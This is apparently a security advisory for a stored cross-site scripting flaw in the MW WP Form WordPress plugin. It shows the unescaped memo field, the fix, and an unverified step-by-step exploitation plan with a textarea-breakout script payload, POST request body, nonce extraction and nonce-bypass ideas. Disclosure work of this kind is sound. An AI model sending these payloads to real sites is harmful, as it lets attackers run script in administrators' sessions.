CVE-2026-48871

MW WP Form <= 5.1.3 - Unauthenticated Stored Cross-Site Scripting

highImproper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
7.2
CVSS Score
7.2
CVSS Score
high
Severity
5.1.4
Patched in
8d
Time to patch

Description

The MW WP Form plugin for WordPress is vulnerable to Stored Cross-Site Scripting in versions up to, and including, 5.1.3 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Changed
Low
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=5.1.3
PublishedJune 1, 2026
Last updatedJune 8, 2026
Affected pluginmw-wp-form

What Changed in the Fix

Changes introduced in v5.1.4

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

This research plan outlines the exploitation of **CVE-2026-48871**, an unauthenticated stored cross-site scripting (XSS) vulnerability in the **MW WP Form** plugin. ### 1. Vulnerability Summary The vulnerability exists in the administrative "Inquiry Data" detail view. Specifically, the plugin fails…

Show full research plan

This research plan outlines the exploitation of CVE-2026-48871, an unauthenticated stored cross-site scripting (XSS) vulnerability in the MW WP Form plugin.

1. Vulnerability Summary

The vulnerability exists in the administrative "Inquiry Data" detail view. Specifically, the plugin fails to sanitize or escape the memo field when rendering it within a <textarea> in the admin dashboard. While most form fields are escaped using esc_html(), the memo field is echoed directly. An unauthenticated attacker can submit a form containing a malicious memo value, which, when viewed by an administrator, executes arbitrary JavaScript.

2. Attack Vector Analysis

  • Vulnerable Sink: templates/contact-data/detail.php at line 80: echo $contact_data_setting->get( 'memo' );.
  • Vulnerable Endpoint: Any public-facing page containing an [mwform_formkey...] shortcode.
  • Payload Parameter: mw-wp-form-data[memo] (submitted via POST).
  • Authentication: None required (Unauthenticated).
  • Precondition: The target form must have the "Save inquiry data" setting enabled (this creates a Custom Post Type entry for every submission).

3. Code Flow

  1. Entry Point: An unauthenticated user submits a POST request to a page containing an MW WP Form.
  2. Processing: The MW_WP_Form_Main_Controller (initialized in mw-wp-form.php line 67) processes the submission.
  3. Storage: If the form is configured to save data, the plugin creates a new post and saves the submitted data as post meta. Because the plugin does not strictly validate the keys in the mw-wp-form-data array against the form's defined fields, an attacker can inject the memo key.
  4. Admin Access: An administrator navigates to MW WP Form > Inquiry Data and clicks "Detail" for the malicious submission.
  5. Sink: The MW_WP_Form_Contact_Data_Controller loads templates/contact-data/detail.php.
  6. Execution: Line 80 echoes the raw memo value into the textarea. If the value contains </textarea><script>..., the script executes in the admin's session.

4. Nonce Acquisition Strategy

MW WP Form uses a CSRF protection mechanism involving a nonce and a session-based cookie. The nonce must be extracted from the rendered form on the front end.

  1. Identify Form Page: Locate a page where the plugin's shortcode is active.
  2. Navigation: Use the browser_navigate tool to load the page.
  3. Extraction: Use browser_eval to extract the nonce value from the hidden input field.
    • JavaScript: document.querySelector('input[name="mw-wp-form_nonce"]').value
    • Variable Name: The name attribute is derived from MWF_Config::NAME (which is mw-wp-form).

5. Exploitation Strategy

  1. Setup: Ensure a form exists with ID 123 and has "Save inquiry data" checked.
  2. Payload: </textarea><script>alert(document.domain)</script>
  3. HTTP Request (via http_request):
    • URL: https://target.local/form-page/
    • Method: POST
    • Headers: Content-Type: application/x-www-form-urlencoded
    • Body:
      mwform_form_id=123&
      mw-wp-form_nonce=[EXTRACTED_NONCE]&
      mw-wp-form-data[memo]=%3C%2Ftextarea%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E&
      [OTHER_REQUIRED_FIELDS_BY_FORM]
      
  4. Trigger: Log in as Admin and visit: https://target.local/wp-admin/edit.php?post_type=mw-wp-form&page=mw-wp-form-save-data -> Select Form -> View Detail.

6. Test Data Setup

Before testing, the environment must be configured using WP-CLI:

  1. Create a Form:
    wp post create --post_type=mw-wp-form --post_title="Contact Us" --post_status=publish
    (Note: Note the ID returned, e.g., 10)
  2. Configure Form (Enable DB Saving):
    wp post name-meta set 10 _save_data 1
  3. Create a Public Page:
    wp post create --post_type=page --post_title="Contact Page" --post_content='[mwform_formkey key="mw-wp-form-10"]' --post_status=publish

7. Expected Results

  • The POST request should return a 200 OK or 302 Redirect (depending on the form's "Complete Page" setting).
  • When the admin views the inquiry detail, a JavaScript alert box showing the document domain should appear, confirming the </textarea> tag was successfully closed and the script executed.

8. Verification Steps

Verify the payload is stored in the database without being escaped:

# Replace 11 with the ID of the Inquiry post (Custom Post Type)
# The post type for inquiry data is typically mwf-XXX where XXX is the form ID
wp post list --post_type=mwf-10 --format=ids
wp post get [INQUIRY_ID] --field=memo

The output should contain the raw <script> tag.

9. Alternative Approaches

  • Attribute Injection: If the memo field is filtered but other fields are not, check templates/contact-data/detail.php line 57: MWF_Functions::get_multimedia_data( $values[ $key ] ). If the file upload handling is weak, XSS might be possible via file names.
  • Bypass Nonce: Check if the plugin processes the form even if the nonce is missing. Some versions of MW WP Form had logic that only verified the nonce if the mw-wp-form_nonce key was present in $_POST. Try omitting the nonce parameter entirely.
Research Findings
Static analysis — not yet PoC-verified

Summary

The MW WP Form plugin for WordPress is vulnerable to Unauthenticated Stored Cross-Site Scripting via the 'memo' field in form submissions. Due to insufficient output escaping in the administrative inquiry detail view, an attacker can inject malicious scripts that execute in the context of an administrator's session when the submission is viewed.

Vulnerable Code

<!-- templates/contact-data/detail.php lines 76-78 -->
	<tr>
		<th><?php esc_html_e( 'Memo', 'mw-wp-form' ); ?></th>
		<td><textarea name="<?php echo esc_attr( MWF_Config::INQUIRY_DATA_NAME ); ?>[memo]" cols="50" rows="5"><?php echo $contact_data_setting->get( 'memo' ); ?></textarea></td>
	</tr>

Security Fix

--- /home/deploy/wp-safety.org/data/plugin-versions/mw-wp-form/5.1.3/templates/contact-data/detail.php	2023-09-20 02:47:22.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/mw-wp-form/5.1.4/templates/contact-data/detail.php	2026-05-24 23:58:56.000000000 +0000
@@ -74,6 +74,6 @@
 	</tr>
 	<tr>
 		<th><?php esc_html_e( 'Memo', 'mw-wp-form' ); ?></th>
-		<td><textarea name="<?php echo esc_attr( MWF_Config::INQUIRY_DATA_NAME ); ?>[memo]" cols="50" rows="5"><?php echo $contact_data_setting->get( 'memo' ); ?></textarea></td>
+		<td><textarea name="<?php echo esc_attr( MWF_Config::INQUIRY_DATA_NAME ); ?>[memo]" cols="50" rows="5"><?php echo esc_textarea( $contact_data_setting->get( 'memo' ) ); ?></textarea></td>
 	</tr>
 </table>

Exploit Outline

To exploit this vulnerability, an unauthenticated attacker first identifies a target site using MW WP Form with the 'Save inquiry data' feature enabled. The attacker navigates to the public form, extracts the required CSRF nonce (`mw-wp-form_nonce`) and the form ID (`mwform_form_id`) from the page source. They then craft a POST request to the form's processing endpoint, injecting a payload into the `mw-wp-form-data[memo]` parameter. A typical payload like `</textarea><script>alert(1)</script>` is used to break out of the textarea HTML element. When an administrator later logs into the WordPress dashboard and views the specific inquiry under 'Inquiry Data', the unsanitized memo field is rendered, triggering the stored JavaScript payload.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.